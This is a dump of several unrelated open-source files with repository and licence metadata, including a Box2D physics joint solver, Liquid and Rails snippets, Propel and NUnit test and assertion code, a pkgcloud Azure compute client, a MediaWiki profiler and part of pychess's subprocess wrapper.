#include <Box2D/Dynamics/Joints/b2FrictionJoint.h>
#include <Box2D/Dynamics/b2Body.h>
#include <Box2D/Dynamics/b2TimeStep.h>
// Point-to-point constraint
// Cdot = v2 - v1
// = v2 + cross(w2, r2) - v1 - cross(w1, r1)
// J = [-I -r1_skew I r2_skew ]
// Identity used:
// w k % (rx i + ry j) = w * (-ry i + rx j)
// Angle constraint
// Cdot = w2 - w1
// J = [0 0 -1 0 0 1]
// K = invI1 + invI2
void b2FrictionJointDef::Initialize(b2Body* bA, b2Body* bB, const b2Vec2& anchor)
{
bodyA = bA;
bodyB = bB;
localAnchorA = bodyA->GetLocalPoint(anchor);
localAnchorB = bodyB->GetLocalPoint(anchor);
}
b2FrictionJoint::b2FrictionJoint(const b2FrictionJointDef* def)
: b2Joint(def)
{
m_localAnchorA = def->localAnchorA;
m_localAnchorB = def->localAnchorB;
m_linearImpulse.SetZero();
m_angularImpulse = 0.0f;
m_maxForce = def->maxForce;
m_maxTorque = def->maxTorque;
}
void b2FrictionJoint::InitVelocityConstraints(const b2SolverData& data)
{
m_indexA = m_bodyA->m_islandIndex;
m_indexB = m_bodyB->m_islandIndex;
m_localCenterA = m_bodyA->m_sweep.localCenter;
m_localCenterB = m_bodyB->m_sweep.localCenter;
m_invMassA = m_bodyA->m_invMass;
m_invMassB = m_bodyB->m_invMass;
m_invIA = m_bodyA->m_invI;
m_invIB = m_bodyB->m_invI;
float32 aA = data.positions[m_indexA].a;
b2Vec2 vA = data.velocities[m_indexA].v;
float32 wA = data.velocities[m_indexA].w;
float32 aB = data.positions[m_indexB].a;
b2Vec2 vB = data.velocities[m_indexB].v;
float32 wB = data.velocities[m_indexB].w;
b2Rot qA(aA), qB(aB);
// Compute the effective mass matrix.
m_rA = b2Mul(qA, m_localAnchorA - m_localCenterA);
m_rB = b2Mul(qB, m_localAnchorB - m_localCenterB);
// J = [-I -r1_skew I r2_skew]
// [ 0 -1 0 1]
// r_skew = [-ry; rx]
// Matlab
// K = [ mA+r1y^2*iA+mB+r2y^2*iB, -r1y*iA*r1x-r2y*iB*r2x, -r1y*iA-r2y*iB]
// [ -r1y*iA*r1x-r2y*iB*r2x, mA+r1x^2*iA+mB+r2x^2*iB, r1x*iA+r2x*iB]
// [ -r1y*iA-r2y*iB, r1x*iA+r2x*iB, iA+iB]
float32 mA = m_invMassA, mB = m_invMassB;
float32 iA = m_invIA, iB = m_invIB;
b2Mat22 K;
K.ex.x = mA + mB + iA * m_rA.y * m_rA.y + iB * m_rB.y * m_rB.y;
K.ex.y = -iA * m_rA.x * m_rA.y - iB * m_rB.x * m_rB.y;
K.ey.x = K.ex.y;
K.ey.y = mA + mB + iA * m_rA.x * m_rA.x + iB * m_rB.x * m_rB.x;
m_linearMass = K.GetInverse();
m_angularMass = iA + iB;
if (m_angularMass > 0.0f)
{
m_angularMass = 1.0f / m_angularMass;
}
if (data.step.warmStarting)
{
// Scale impulses to support a variable time step.
m_linearImpulse *= data.step.dtRatio;
m_angularImpulse *= data.step.dtRatio;
b2Vec2 P(m_linearImpulse.x, m_linearImpulse.y);
vA -= mA * P;
wA -= iA * (b2Cross(m_rA, P) + m_angularImpulse);
vB += mB * P;
wB += iB * (b2Cross(m_rB, P) + m_angularImpulse);
}
else
{
m_linearImpulse.SetZero();
m_angularImpulse = 0.0f;
}
data.velocities[m_indexA].v = vA;
data.velocities[m_indexA].w = wA;
data.velocities[m_indexB].v = vB;
data.velocities[m_indexB].w = wB;
}
void b2FrictionJoint::SolveVelocityConstraints(const b2SolverData& data)
{
b2Vec2 vA = data.velocities[m_indexA].v;
float32 wA = data.velocities[m_indexA].w;
b2Vec2 vB = data.velocities[m_indexB].v;
float32 wB = data.velocities[m_indexB].w;
float32 mA = m_invMassA, mB = m_invMassB;
float32 iA = m_invIA, iB = m_invIB;
float32 h = data.step.dt;
// Solve angular friction
{
float32 Cdot = wB - wA;
float32 impulse = -m_angularMass * Cdot;
float32 oldImpulse = m_angularImpulse;
float32 maxImpulse = h * m_maxTorque;
m_angularImpulse = b2Clamp(m_angularImpulse + impulse, -maxImpulse, maxImpulse);
impulse = m_angularImpulse - oldImpulse;
wA -= iA * impulse;
wB += iB * impulse;
}
// Solve linear friction
{
b2Vec2 Cdot = vB + b2Cross(wB, m_rB) - vA - b2Cross(wA, m_rA);
b2Vec2 impulse = -b2Mul(m_linearMass, Cdot);
b2Vec2 oldImpulse = m_linearImpulse;
m_linearImpulse += impulse;
float32 maxImpulse = h * m_maxForce;
if (m_linearImpulse.LengthSquared() > maxImpulse * maxImpulse)
{
m_linearImpulse.Normalize();
m_linearImpulse *= maxImpulse;
}
impulse = m_linearImpulse - oldImpulse;
vA -= mA * impulse;
wA -= iA * b2Cross(m_rA, impulse);
vB += mB * impulse;
wB += iB * b2Cross(m_rB, impulse);
}
data.velocities[m_indexA].v = vA;
data.velocities[m_indexA].w = wA;
data.velocities[m_indexB].v = vB;
data.velocities[m_indexB].w = wB;
}
bool b2FrictionJoint::SolvePositionConstraints(const b2SolverData& data)
{
B2_NOT_USED(data);
return true;
}
b2Vec2 b2FrictionJoint::GetAnchorA() const
{
return m_bodyA->GetWorldPoint(m_localAnchorA);
}
b2Vec2 b2FrictionJoint::GetAnchorB() const
{
return m_bodyB->GetWorldPoint(m_localAnchorB);
}
b2Vec2 b2FrictionJoint::GetReactionForce(float32 inv_dt) const
{
return inv_dt * m_linearImpulse;
}
float32 b2FrictionJoint::GetReactionTorque(float32 inv_dt) const
{
return inv_dt * m_angularImpulse;
}
void b2FrictionJoint::SetMaxForce(float32 force)
{
b2Assert(b2IsValid(force) && force >= 0.0f);
m_maxForce = force;
}
float32 b2FrictionJoint::GetMaxForce() const
{
return m_maxForce;
}
void b2FrictionJoint::SetMaxTorque(float32 torque)
{
b2Assert(b2IsValid(torque) && torque >= 0.0f);
m_maxTorque = torque;
}
float32 b2FrictionJoint::GetMaxTorque() const
{
return m_maxTorque;
}
void b2FrictionJoint::Dump()
{
int32 indexA = m_bodyA->m_islandIndex;
int32 indexB = m_bodyB->m_islandIndex;
b2Log(" b2FrictionJointDef jd;\n");
b2Log(" jd.bodyA = bodies[%d];\n", indexA);
b2Log(" jd.bodyB = bodies[%d];\n", indexB);
b2Log(" jd.collideConnected = bool(%d);\n", m_collideConnected);
b2Log(" jd.localAnchorA.Set(%.15lef, %.15lef);\n", m_localAnchorA.x, m_localAnchorA.y);
b2Log(" jd.localAnchorB.Set(%.15lef, %.15lef);\n", m_localAnchorB.x, m_localAnchorB.y);
b2Log(" jd.maxForce = %.15lef;\n", m_maxForce);
b2Log(" jd.maxTorque = %.15lef;\n", m_maxTorque);
b2Log(" joints[%d] = m_world->CreateJoint(&jd);\n", m_index);
}
| apache-2.0 |
mono0926/ruby-on-rails-practice | original/section-18-2/config/initializers/assets.rb | 117 | Rails.application.config.assets.precompile +=
%w( staff.css admin.css customer.css staff.js admin.js customer.js )
| mit |
tdg5/liquid | lib/liquid/tags/table_row.rb | 2125 | module Liquid
class TableRow < Block
Syntax = /(\w+)\s+in\s+(#{QuotedFragment}+)/o
def initialize(tag_name, markup, options)
super
if markup =~ Syntax
@variable_name = $1
@collection_name = Expression.parse($2)
@attributes = {}
markup.scan(TagAttributes) do |key, value|
@attributes[key] = Expression.parse(value)
end
else
raise SyntaxError.new(options[:locale].t("errors.syntax.table_row".freeze))
end
end
def render(context)
collection = context.evaluate(@collection_name) or return ''.freeze
from = @attributes.key?('offset'.freeze) ? context.evaluate(@attributes['offset'.freeze]).to_i : 0
to = @attributes.key?('limit'.freeze) ? from + context.evaluate(@attributes['limit'.freeze]).to_i : nil
collection = Utils.slice_collection(collection, from, to)
length = collection.length
cols = context.evaluate(@attributes['cols'.freeze]).to_i
row = 1
col = 0
result = "<tr class=\"row1\">\n"
context.stack do
collection.each_with_index do |item, index|
context[@variable_name] = item
context['tablerowloop'.freeze] = {
'length'.freeze => length,
'index'.freeze => index + 1,
'index0'.freeze => index,
'col'.freeze => col + 1,
'col0'.freeze => col,
'rindex'.freeze => length - index,
'rindex0'.freeze => length - index - 1,
'first'.freeze => (index == 0),
'last'.freeze => (index == length - 1),
'col_first'.freeze => (col == 0),
'col_last'.freeze => (col == cols - 1)
}
col += 1
result << "<td class=\"col#{col}\">" << super << '</td>'
if col == cols && (index != length - 1)
col = 0
row += 1
result << "</tr>\n<tr class=\"row#{row}\">"
end
end
end
result << "</tr>\n"
result
end
end
Template.register_tag('tablerow'.freeze, TableRow)
end
| mit |
mahedi2014/quick-stack | vendor/propel/propel/tests/Propel/Tests/Generator/Builder/Om/GeneratedObjectTemporalColumnTypeTest.php | 6129 | <?php
/**
* This file is part of the Propel package.
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*
* @license MIT License
*/
namespace Propel\Tests\Generator\Builder\Om;
use Propel\Generator\Util\QuickBuilder;
use Propel\Generator\Platform\MysqlPlatform;
use Propel\Runtime\Propel;
use Propel\Tests\TestCase;
/**
* Tests the generated objects for temporal column types accessor & mutator.
*
* @author Francois Zaninotto
*/
class GeneratedObjectTemporalColumnTypeTest extends TestCase
{
public function setUp()
{
if (!class_exists('ComplexColumnTypeEntity5')) {
$schema = <<<EOF
<database name="generated_object_complex_type_test_5">
<table name="complex_column_type_entity_5">
<column name="id" primaryKey="true" type="INTEGER" autoIncrement="true" />
<column name="bar1" type="DATE" />
<column name="bar2" type="TIME" />
<column name="bar3" type="TIMESTAMP" />
<column name="bar4" type="TIMESTAMP" default="2011-12-09" />
</table>
</database>
EOF;
QuickBuilder::buildSchema($schema);
}
}
public function testNullValue()
{
$r = new \ComplexColumnTypeEntity5();
$this->assertNull($r->getBar1());
$r->setBar1(new \DateTime('2011-12-02'));
$this->assertNotNull($r->getBar1());
$r->setBar1(null);
$this->assertNull($r->getBar1());
}
/**
* @link http://propel.phpdb.org/trac/ticket/586
*/
public function testEmptyValue()
{
$r = new \ComplexColumnTypeEntity5();
$r->setBar1('');
$this->assertNull($r->getBar1());
}
public function testPreEpochValue()
{
$r = new \ComplexColumnTypeEntity5();
$r->setBar1(new \DateTime('1602-02-02'));
$this->assertEquals('1602-02-02', $r->getBar1(null)->format('Y-m-d'));
$r->setBar1('1702-02-02');
$this->assertTrue($r->isModified());
$this->assertEquals('1702-02-02', $r->getBar1(null)->format('Y-m-d'));
}
/**
* @expectedException \Propel\Runtime\Exception\PropelException
*/
public function testInvalidValueThrowsPropelException()
{
$r = new \ComplexColumnTypeEntity5();
$r->setBar1("Invalid Date");
}
public function testUnixTimestampValue()
{
$r = new \ComplexColumnTypeEntity5();
$r->setBar1(time());
$this->assertEquals(date('Y-m-d'), $r->getBar1('Y-m-d'));
$r = new \ComplexColumnTypeEntity5();
$r->setBar2(strtotime('12:55'));
$this->assertEquals('12:55', $r->getBar2(null)->format('H:i'));
$r = new \ComplexColumnTypeEntity5();
$r->setBar3(time());
$this->assertEquals(date('Y-m-d H:i'), $r->getBar3('Y-m-d H:i'));
}
public function testDatePersistence()
{
$r = new \ComplexColumnTypeEntity5();
$r->setBar1(new \DateTime('1999-12-20'));
$r->save();
\Map\ComplexColumnTypeEntity5TableMap::clearInstancePool();
$r1 = \ComplexColumnTypeEntity5Query::create()->findPk($r->getId());
$this->assertEquals('1999-12-20', $r1->getBar1(null)->format('Y-m-d'));
}
public function testTimePersistence()
{
$r = new \ComplexColumnTypeEntity5();
$r->setBar2(strtotime('12:55'));
$r->save();
\Map\ComplexColumnTypeEntity5TableMap::clearInstancePool();
$r1 = \ComplexColumnTypeEntity5Query::create()->findPk($r->getId());
$this->assertEquals('12:55', $r1->getBar2(null)->format('H:i'));
}
public function testTimestampPersistence()
{
$r = new \ComplexColumnTypeEntity5();
$r->setBar3(new \DateTime('1999-12-20 12:55'));
$r->save();
\Map\ComplexColumnTypeEntity5TableMap::clearInstancePool();
$r1 = \ComplexColumnTypeEntity5Query::create()->findPk($r->getId());
$this->assertEquals('1999-12-20 12:55', $r1->getBar3(null)->format('Y-m-d H:i'));
}
public function testDateTimeGetterReturnsADateTime()
{
$r = new \ComplexColumnTypeEntity5();
$r->setBar3(new \DateTime());
$r->save();
$this->assertInstanceOf('DateTime', $r->getBar3());
$r->setBar3(strtotime('10/10/2011'));
$r->save();
$this->assertInstanceOf('DateTime', $r->getBar3());
}
public function testDateTimeGetterReturnsAReference()
{
$r = new \ComplexColumnTypeEntity5();
$r->setBar3(new \DateTime('2011-11-23'));
$r->getBar3()->modify('+1 days');
$this->assertEquals('2011-11-24', $r->getBar3('Y-m-d'));
}
public function testHasOnlyDefaultValues()
{
$r = new \ComplexColumnTypeEntity5();
$this->assertEquals('2011-12-09', $r->getBar4('Y-m-d'));
$this->assertTrue($r->hasOnlyDefaultValues());
}
public function testHydrateWithMysqlInvalidDate()
{
$schema = <<<EOF
<database name="generated_object_complex_type_test_6">
<table name="complex_column_type_entity_6">
<column name="id" primaryKey="true" type="INTEGER" autoIncrement="true" />
<column name="bar1" type="DATE" />
<column name="bar2" type="TIME" />
<column name="bar3" type="TIMESTAMP" />
</table>
</database>
EOF;
$builder = new QuickBuilder();
$builder->setSchema($schema);
$builder->setPlatform(new MysqlPlatform());
$builder->buildClasses();
$r = new \ComplexColumnTypeEntity6();
$r->hydrate(array(
123,
'0000-00-00',
'00:00:00',
'0000-00-00 00:00:00'
));
$this->assertNull($r->getBar1());
$this->assertEquals('00:00:00', $r->getBar2()->format('H:i:s'));
$this->assertNull($r->getBar3());
}
public function testDateTimesSerialize()
{
$r = new \ComplexColumnTypeEntity5();
$r->setBar3(new \DateTime('2011-11-23'));
$str = serialize($r);
$r2 = unserialize($str);
$this->assertEquals('2011-11-23', $r2->getBar3('Y-m-d'));
}
}
| mit |
soltrinox/vator-api-serv | node_modules/loopback-component-storage/node_modules/pkgcloud/lib/pkgcloud/azure/compute/client/servers.js | 5493 | /*
* servers.js: Instance methods for working with servers from Azure Cloud
*
* (C) Microsoft Open Technologies, Inc.
*
*/
var async = require('async'),
base = require('../../../core/compute'),
pkgcloud = require('../../../../../lib/pkgcloud'),
errs = require('errs'),
azureApi = require('../../utils/azureApi'),
compute = pkgcloud.providers.azure.compute;
//
// ### function getVersion (callback)
// #### @callback {function} f(err, version).
//
// Gets the current API version
//
exports.getVersion = function getVersion(callback) {
callback(null, this.version);
};
//
// ### function getLimits (callback)
// #### @callback {function} f(err, version).
//
// Gets the current API limits
//
exports.getLimits = function getLimits(callback) {
return errs.handle(
errs.create({ message: "Azure's API is not rate limited" }),
callback
);
};
//
// ### function getServers (callback)
// #### @callback {function} f(err, servers). `servers` is an array that
// represents the servers that are available to your account
//
// Lists all servers available to your account.
//
exports.getServers = function getServers(callback) {
var self = this,
servers = [];
azureApi.getServers(this, function (err, results) {
if (err) {
return callback(err);
}
callback(null, results.map(function (server) {
return new compute.Server(self, server);
}));
});
};
//
// ### function getServer(server, callback)
// #### @server {Server|String} Server id or a server
// #### @callback {Function} f(err, serverId).
//
// Gets a server in Azure.
//
exports.getServer = function getServer(server, callback) {
var self = this,
serverId = server instanceof base.Server ? server.id : server;
// azure does not like multiple server status requests
// setWait() does not wait for result of previous query before
// issuing a new query.
if (server instanceof compute.Server) {
if (server.requestPending) {
return callback(null, new compute.Server(self, server));
}
}
server.requestPending = true;
azureApi.getServer(this, serverId, function (err, result) {
server.requestPending = false;
return !err
? callback(null, new compute.Server(self, result))
: callback(err);
});
};
//
// ### function createServer (options, callback)
// #### @opts {Object} **Optional** options
// #### @name {String} **Optional** the name of server
// #### @image {String|Image} the image (AMI) to use
// #### @flavor {String|Flavor} **Optional** flavor to use for this image
// #### @callback {Function} f(err, server).
//
// Creates a server with the specified options. The flavor
// properties of the options can be instances of Flavor
// OR ids to those entities in Azure.
//
exports.createServer = function createServer(options, callback) {
var self = this;
if (typeof options === 'function') {
callback = options;
options = {};
}
options = options || {}; // no args
azureApi.createServer(this, options, function (err, server) {
return !err
? callback(null, new compute.Server(self, server))
: callback(err);
});
};
//
// ### function destroyServer(server, callback)
// #### @server {Server|String} Server id or a server
// #### @callback {Function} f(err, serverId).
//
// Destroy a server in Azure.
//
exports.destroyServer = function destroyServer(server, callback) {
var serverId = server instanceof base.Server ? server.id : server;
azureApi.destroyServer(this, serverId, function (err, res) {
if (callback) {
return !err
? callback && callback(null, { ok: serverId })
: callback && callback(err);
}
});
};
//
// ### function stopServer(server, callback)
// #### @server {Server|String} Server id or a server
// #### @callback {Function} f(err, serverId).
//
// Destroy a server in Azure.
//
exports.stopServer = function stopServer(server, callback) {
var serverId = server instanceof base.Server ? server.id : server;
azureApi.stopServer(this, serverId, function (err, res) {
return !err
? callback(null, { ok: serverId })
: callback(err);
});
};
//
// ### function createHostedService(serviceName, callback)
// #### @serviceName {String} name of the Hosted Service
// #### @callback {Function} f(err, serverId).
//
// Creates a Hosted Service in Azure.
//
exports.createHostedService = function createHostedService(serviceName, callback) {
azureApi.createHostedService(this, serviceName, function (err, res) {
return !err
? callback(null, res)
: callback(err);
});
};
//
// ### function rebootServer (server, options, callback)
// #### @server {Server|String} The server to reboot
// #### @callback {Function} f(err, server).
//
// Reboots a server
//
exports.rebootServer = function rebootServer(server, callback) {
var serverId = server instanceof base.Server ? server.id : server;
azureApi.rebootServer(this, serverId, function (err, res) {
return !err
? callback(null, { ok: serverId })
: callback(err);
});
};
//
// ### function renameServer(server, name, callback)
// #### @server {Server|String} Server id or a server
// #### @name {String} New name to apply to the server
// #### @callback {Function} f(err, server).
//
// Renames a server
//
exports.renameServer = function renameServer(server, name, callback) {
return errs.handle(
errs.create({ message: 'Not supported by Azure.' }),
callback
);
};
| mit |
acco32/nunit | src/NUnitFramework/framework/Assert.Exceptions.cs | 9977 | // ***********************************************************************
// Copyright (c) 2014 Charlie Poole
//
// Permission is hereby granted, free of charge, to any person obtaining
// a copy of this software and associated documentation files (the
// "Software"), to deal in the Software without restriction, including
// without limitation the rights to use, copy, modify, merge, publish,
// distribute, sublicense, and/or sell copies of the Software, and to
// permit persons to whom the Software is furnished to do so, subject to
// the following conditions:
//
// The above copyright notice and this permission notice shall be
// included in all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
// NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
// LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
// OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
// WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
// ***********************************************************************
using System;
using NUnit.Framework.Constraints;
using NUnit.Framework.Internal;
namespace NUnit.Framework
{
public partial class Assert
{
#region Throws
/// <summary>
/// Verifies that a delegate throws a particular exception when called.
/// </summary>
/// <param name="expression">A constraint to be satisfied by the exception</param>
/// <param name="code">A TestSnippet delegate</param>
/// <param name="message">The message that will be displayed on failure</param>
/// <param name="args">Arguments to be used in formatting the message</param>
public static Exception Throws(IResolveConstraint expression, TestDelegate code, string message, params object[] args)
{
Exception caughtException = null;
#if NET_4_0 || NET_4_5 || PORTABLE
if (AsyncInvocationRegion.IsAsyncOperation(code))
{
using (var region = AsyncInvocationRegion.Create(code))
{
code();
try
{
region.WaitForPendingOperationsToComplete(null);
}
catch (Exception e)
{
caughtException = e;
}
}
}
else
#endif
try
{
code();
}
catch (Exception ex)
{
caughtException = ex;
}
Assert.That(caughtException, expression, message, args);
return caughtException;
}
/// <summary>
/// Verifies that a delegate throws a particular exception when called.
/// </summary>
/// <param name="expression">A constraint to be satisfied by the exception</param>
/// <param name="code">A TestSnippet delegate</param>
public static Exception Throws(IResolveConstraint expression, TestDelegate code)
{
return Throws(expression, code, string.Empty, null);
}
/// <summary>
/// Verifies that a delegate throws a particular exception when called.
/// </summary>
/// <param name="expectedExceptionType">The exception Type expected</param>
/// <param name="code">A TestDelegate</param>
/// <param name="message">The message that will be displayed on failure</param>
/// <param name="args">Arguments to be used in formatting the message</param>
public static Exception Throws(Type expectedExceptionType, TestDelegate code, string message, params object[] args)
{
return Throws(new ExceptionTypeConstraint(expectedExceptionType), code, message, args);
}
/// <summary>
/// Verifies that a delegate throws a particular exception when called.
/// </summary>
/// <param name="expectedExceptionType">The exception Type expected</param>
/// <param name="code">A TestDelegate</param>
public static Exception Throws(Type expectedExceptionType, TestDelegate code)
{
return Throws(new ExceptionTypeConstraint(expectedExceptionType), code, string.Empty, null);
}
#endregion
#region Throws<TActual>
/// <summary>
/// Verifies that a delegate throws a particular exception when called.
/// </summary>
/// <typeparam name="TActual">Type of the expected exception</typeparam>
/// <param name="code">A TestDelegate</param>
/// <param name="message">The message that will be displayed on failure</param>
/// <param name="args">Arguments to be used in formatting the message</param>
public static TActual Throws<TActual>(TestDelegate code, string message, params object[] args) where TActual : Exception
{
return (TActual)Throws(typeof(TActual), code, message, args);
}
/// <summary>
/// Verifies that a delegate throws a particular exception when called.
/// </summary>
/// <typeparam name="TActual">Type of the expected exception</typeparam>
/// <param name="code">A TestDelegate</param>
public static TActual Throws<TActual>(TestDelegate code) where TActual : Exception
{
return Throws<TActual>(code, string.Empty, null);
}
#endregion
#region Catch
/// <summary>
/// Verifies that a delegate throws an exception when called
/// and returns it.
/// </summary>
/// <param name="code">A TestDelegate</param>
/// <param name="message">The message that will be displayed on failure</param>
/// <param name="args">Arguments to be used in formatting the message</param>
public static Exception Catch(TestDelegate code, string message, params object[] args)
{
return Throws(new InstanceOfTypeConstraint(typeof(Exception)), code, message, args);
}
/// <summary>
/// Verifies that a delegate throws an exception when called
/// and returns it.
/// </summary>
/// <param name="code">A TestDelegate</param>
public static Exception Catch(TestDelegate code)
{
return Throws(new InstanceOfTypeConstraint(typeof(Exception)), code);
}
/// <summary>
/// Verifies that a delegate throws an exception of a certain Type
/// or one derived from it when called and returns it.
/// </summary>
/// <param name="expectedExceptionType">The expected Exception Type</param>
/// <param name="code">A TestDelegate</param>
/// <param name="message">The message that will be displayed on failure</param>
/// <param name="args">Arguments to be used in formatting the message</param>
public static Exception Catch(Type expectedExceptionType, TestDelegate code, string message, params object[] args)
{
return Throws(new InstanceOfTypeConstraint(expectedExceptionType), code, message, args);
}
/// <summary>
/// Verifies that a delegate throws an exception of a certain Type
/// or one derived from it when called and returns it.
/// </summary>
/// <param name="expectedExceptionType">The expected Exception Type</param>
/// <param name="code">A TestDelegate</param>
public static Exception Catch(Type expectedExceptionType, TestDelegate code)
{
return Throws(new InstanceOfTypeConstraint(expectedExceptionType), code);
}
#endregion
#region Catch<TActual>
/// <summary>
/// Verifies that a delegate throws an exception of a certain Type
/// or one derived from it when called and returns it.
/// </summary>
/// <param name="code">A TestDelegate</param>
/// <param name="message">The message that will be displayed on failure</param>
/// <param name="args">Arguments to be used in formatting the message</param>
public static TActual Catch<TActual>(TestDelegate code, string message, params object[] args) where TActual : System.Exception
{
return (TActual)Throws(new InstanceOfTypeConstraint(typeof(TActual)), code, message, args);
}
/// <summary>
/// Verifies that a delegate throws an exception of a certain Type
/// or one derived from it when called and returns it.
/// </summary>
/// <param name="code">A TestDelegate</param>
public static TActual Catch<TActual>(TestDelegate code) where TActual : System.Exception
{
return (TActual)Throws(new InstanceOfTypeConstraint(typeof(TActual)), code);
}
#endregion
#region DoesNotThrow
/// <summary>
/// Verifies that a delegate does not throw an exception
/// </summary>
/// <param name="code">A TestDelegate</param>
/// <param name="message">The message that will be displayed on failure</param>
/// <param name="args">Arguments to be used in formatting the message</param>
public static void DoesNotThrow(TestDelegate code, string message, params object[] args)
{
Assert.That(code, new ThrowsNothingConstraint(), message, args);
}
/// <summary>
/// Verifies that a delegate does not throw an exception.
/// </summary>
/// <param name="code">A TestDelegate</param>
public static void DoesNotThrow(TestDelegate code)
{
DoesNotThrow(code, string.Empty, null);
}
#endregion
}
}
| mit |
cdnjs/cdnjs | ajax/libs/dojo/1.12.10/testsDOH/_base/loader/a.min.js | 20 | define({number:42}); | mit |
tamphong/test-tt | data/ip_files/255.php | 62 | <?php
$ranges = array(3758096384 => array(4294967295, 'ZZ')); | gpl-2.0 |
jauregui82/wp | wp-content/plugins/master-slider/includes/lib/vcomposer.php | 1621 | <?php
/*----------------------------------------------------------------------------*
* Compatibility for Visual Composer Plugin
*----------------------------------------------------------------------------*/
if ( defined('WPB_VC_VERSION') ) {
wpb_map(
array(
'name' => __( 'Master Slider', 'master-slider' ),
'base' => 'masterslider_pb',
'class' => '',
'controls' => 'full',
'icon' => 'icon-vc-msslider-el',
'category' => __( 'Content', 'master-slider' ),
'description' => __( 'Add Master Slider', 'master-slider' ),
'params' => array(
array(
'type' => 'textfield',
'heading' => __( 'Title ', 'master-slider' ),
'param_name' => 'title',
'value' => '',
'description' => __( 'What text use as slider title. Leave blank if no title is needed', 'master-slider' )
),
array(
'type' => 'dropdown',
'heading' => __('Master Slider', 'master-slider' ),
'param_name' => 'id',
'value' => get_masterslider_names( false ),
'description' => __( 'Select slider from list', 'master-slider' )
),
array(
'type' => 'textfield',
'heading' => __( 'Extra CSS Class Name', 'master-slider' ),
'param_name' => 'class',
'value' => '',
'description' => __( 'If you wish to style particular element differently, then use this field to add a class name and then refer to it in your css file.', 'master-slider' )
)
)
)
);
}
/*----------------------------------------------------------------------------*/
| gpl-2.0 |
OfficeForum/OfficeWiki | includes/profiler/output/ProfilerOutputText.php | 2385 | <?php
/**
* Profiler showing output in page source.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc.,
* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
* http://www.gnu.org/copyleft/gpl.html
*
* @file
* @ingroup Profiler
*/
/**
* The least sophisticated profiler output class possible, view your source! :)
*
* @ingroup Profiler
* @since 1.25
*/
class ProfilerOutputText extends ProfilerOutput {
/** @var float Min real time display threshold */
protected $thresholdMs;
function __construct( Profiler $collector, array $params ) {
parent::__construct( $collector, $params );
$this->thresholdMs = isset( $params['thresholdMs'] )
? $params['thresholdMs']
: .25;
}
public function log( array $stats ) {
if ( $this->collector->getTemplated() ) {
$out = '';
// Filter out really tiny entries
$min = $this->thresholdMs;
$stats = array_filter( $stats, function ( $a ) use ( $min ) {
return $a['real'] > $min;
} );
// Sort descending by time elapsed
usort( $stats, function ( $a, $b ) {
return $a['real'] < $b['real'];
} );
array_walk( $stats,
function ( $item ) use ( &$out ) {
$out .= sprintf( "%6.2f%% %3.3f %6d - %s\n",
$item['%real'], $item['real'], $item['calls'], $item['name'] );
}
);
$contentType = $this->collector->getContentType();
if ( PHP_SAPI === 'cli' ) {
print "<!--\n{$out}\n-->\n";
} elseif ( $contentType === 'text/html' ) {
$visible = isset( $this->params['visible'] ) ?
$this->params['visible'] : false;
if ( $visible ) {
print "<pre>{$out}</pre>";
} else {
print "<!--\n{$out}\n-->\n";
}
} elseif ( $contentType === 'text/javascript' || $contentType === 'text/css' ) {
print "\n/*\n{$out}*/\n";
}
}
}
}
| gpl-2.0 |
nguyenquach/pychess | lib/pychess/System/SubProcess.py | 8356 | from __future__ import absolute_import
from __future__ import print_function
from gi.repository import GObject
from gi.repository import GLib
import os
import sys
import signal
import errno
import time
import threading
from threading import Thread
from pychess.Utils.const import *
from pychess.System.GtkWorker import EmitPublisher
from pychess.System import fident
from .Log import log
from .which import which
import traceback
class SubProcessError (Exception): pass
class TimeOutError (Exception): pass
def searchPath (file, access=os.R_OK, altpath=None):
if altpath and os.path.isfile(altpath):
if not os.access (altpath, access):
log.warning("Not enough permissions on %s" % altpath)
else:
return altpath
return which(file, mode=access)
subprocesses = []
def finishAllSubprocesses ():
for subprocess in subprocesses:
if subprocess.subprocExitCode[0] == None:
subprocess.gentleKill(0,0.3)
for subprocess in subprocesses:
subprocess.subprocFinishedEvent.wait()
class SubProcess (GObject.GObject):
__gsignals__ = {
"line": (GObject.SignalFlags.RUN_FIRST, None, (object,)),
"died": (GObject.SignalFlags.RUN_FIRST, None, ())
}
def __init__(self, path, args=[], warnwords=[], env=None, chdir="."):
GObject.GObject.__init__(self)
self.path = path
self.args = args
self.warnwords = warnwords
self.env = env or os.environ
self.buffer = ""
self.linePublisher = EmitPublisher(self, "line",
'SubProcess.linePublisher', EmitPublisher.SEND_LIST)
self.linePublisher.start()
self.defname = os.path.split(path)[1]
self.defname = self.defname[:1].upper() + self.defname[1:].lower()
t = time.time()
self.defname = (self.defname,
time.strftime("%H:%m:%%.3f",time.localtime(t)) % (t%60))
log.debug(path, extra={"task":self.defname})
argv = [str(u) for u in [self.path]+self.args]
log.debug("SubProcess.__init__: spawning...", extra={"task":self.defname})
self.pid, stdin, stdout, stderr = GObject.spawn_async(argv,
working_directory=chdir, child_setup=self.__setup,
standard_input=True, standard_output=True, standard_error=True,
flags=GObject.SPAWN_DO_NOT_REAP_CHILD|GObject.SPAWN_SEARCH_PATH)
log.debug("SubProcess.__init__: _initChannel...", extra={"task":self.defname})
self.__channelTags = []
self.inChannel = self._initChannel(stdin, None, None, False)
readFlags = GObject.IO_IN|GObject.IO_HUP#|GObject.IO_ERR
self.outChannel = self._initChannel(stdout, readFlags, self.__io_cb, False)
self.errChannel = self._initChannel(stderr, readFlags, self.__io_cb, True)
